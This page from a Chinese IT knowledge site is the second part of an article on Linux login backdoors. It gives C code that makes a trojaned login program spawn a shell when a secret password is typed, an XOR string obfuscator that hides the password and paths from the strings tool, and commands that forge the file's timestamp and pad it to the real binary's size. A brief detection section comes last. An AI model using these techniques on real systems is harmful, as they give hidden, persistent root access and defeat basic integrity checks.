首 页IT知识库翔宇问吧收藏本站
当前位置:翔宇亭IT乐园IT知识库电脑基础安全防护

黑客高级技巧 Linux后门技术及实践

减小字体 增大字体 作者:佚名  来源:转载  发布时间:2011-02-26 08:01:38

  加密后门密码

  1,采用DES算法,即crypt( )函数,编写gen.c程序:


#include <unistd.h> 
main(int argc, char *argv[]) 

if (argc != 3) { 
PRintf("usage: %s <password> <salt>\n", argv[0]); 
exit(1); 

printf("%s\n", crypt(argv[1], argv[2])); 
}

  2、编译为gen,执行./gen hack ui,得到的shadow结果为UiVqMWvDrIQjA。

  3、修改后门源程序ulogin.c:

  -- 以密文形式的密码代替ulogin.c中define的宏PASSWORD值。

  -- 如果后门密码正确,直接给出Shell:


if (!strcmp(PASSWORD, crypt(display,PASSWORD))) 

system(SHELL); 
exit(1); 
}

  用stringsming令只能看到加密过的密码。

  采用异或(XOR)算法,以十六进制方式表示字符串,以达到non- printable的效果。

  1、编码程序encode.c如下:

char magic[]="\x71\x67\x6d\x7a\x65\x61\x7a"; 
char *de(char *str,char *key) 

int i=0,j=0,len; 
len=strlen(key); 
while(str[i] != '\0') { 
str[i]^=key[j]; 
j++; 
if(j==len) j=0; 
i++; 

return str; 

void display(char *str) 

int i; 
for(i=0;i<strlen(str);i++) printf("\\x%x",str[i]); 
printf("\n"); 

main() 

char gets[100], *ptr; 
ptr=gets; 
scanf ("%s",ptr); 
de(ptr,magic);display(ptr); 
}

  2、编译程序encode,依次执行得到关键字符串与magic串异或后的结果,例如原始login的文件名/sbin/xlogin,经过异或后为:

  \x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb
  3、在后门源代码中这样定义:
  Char

  login[]="\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb";

  然后插入异或函数char *de()结合同一magic串,就能判断出正确的后门密码。

  用stringsming令看不到密码、路径等字符串了。

  最后的修饰

  使后门程序ulogin的strings输出类似于正常login的strings输出,做法为:

  在ulogin.c代码中增加一个字符串数组char strings[] ="";,在引号中填入正常login程序的strings输出结果。以假乱真,增加迷惑性。

  调整后门程序的文件日期、大小等属性:

  1、日期

  # ls -l /sbin/xlogin

  -r-sr-xr-x root root 19300 Feb 11 1998

  /sbin/xlogin

  # touch -t 199802110000 ulogin

  # _

  2、调整大小

  # ls -l ulogin /sbin/xlogin

  -r-sr-xr-x root root 7542 Feb 11 1998 ulogin

  -r-sr-xr-x root root 19300 Feb 11 1998 /sbin/xlogin

  # bc

  19300-7542

  11758

  # dd if=/sbin/xlogin of=/tmp/t bs=11758 count=1

  1+0 records in

  1+0 records out

  11758 bytes transferred in 0.000379 secs (31016746

  bytes/sec)

  # cat /tmp/t >> ulogin

  Login后门的检测

  使用ming令md5sum对现有/bin/login文件作校验,与以前的值作比较。

  使用Red Hat Linux的RPM校验:

  # rpm -V util-linux

  在入侵者已经利用后门登录的情况下,who是看不到用户的,查看系统进程,查找login -h xxx.xxx.xxx.xxx的字样。

上一页  [1] [2] 

知识评论评论内容只代表网友观点,与本站立场无关!

   评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论

用户名: 查看更多评论

分 值:100分 85分 70分 55分 40分 25分 10分 1分

内 容:

            请注意用语文明且合法,不要发布带有攻击性、侮辱性的言论,谢谢合作!

         通知管理员 验证码:

关于本站 | 网站帮助 | 广告合作 | 网站声明 | 友情连接 | 网站地图 | 用户守则 | 联系我们 |
本站大多数内容来自互联网或网站会员发布,如有侵权,请来信告之,谢谢!
Copyright © 2007-2017 biye5u.com. All Rights Reserved.
网站备案号:黑ICP备13005378号-3